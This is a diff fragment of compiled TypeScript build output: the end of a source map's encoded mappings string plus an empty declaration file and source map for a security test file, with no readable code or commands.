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"}
@@ -0,0 +1,2 @@
1
+ export {};
2
+ //# sourceMappingURL=security.test.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"security.test.d.ts","sourceRoot":"","sources":["../../src/tests/security.test.ts"],"names":[],"mappings":""}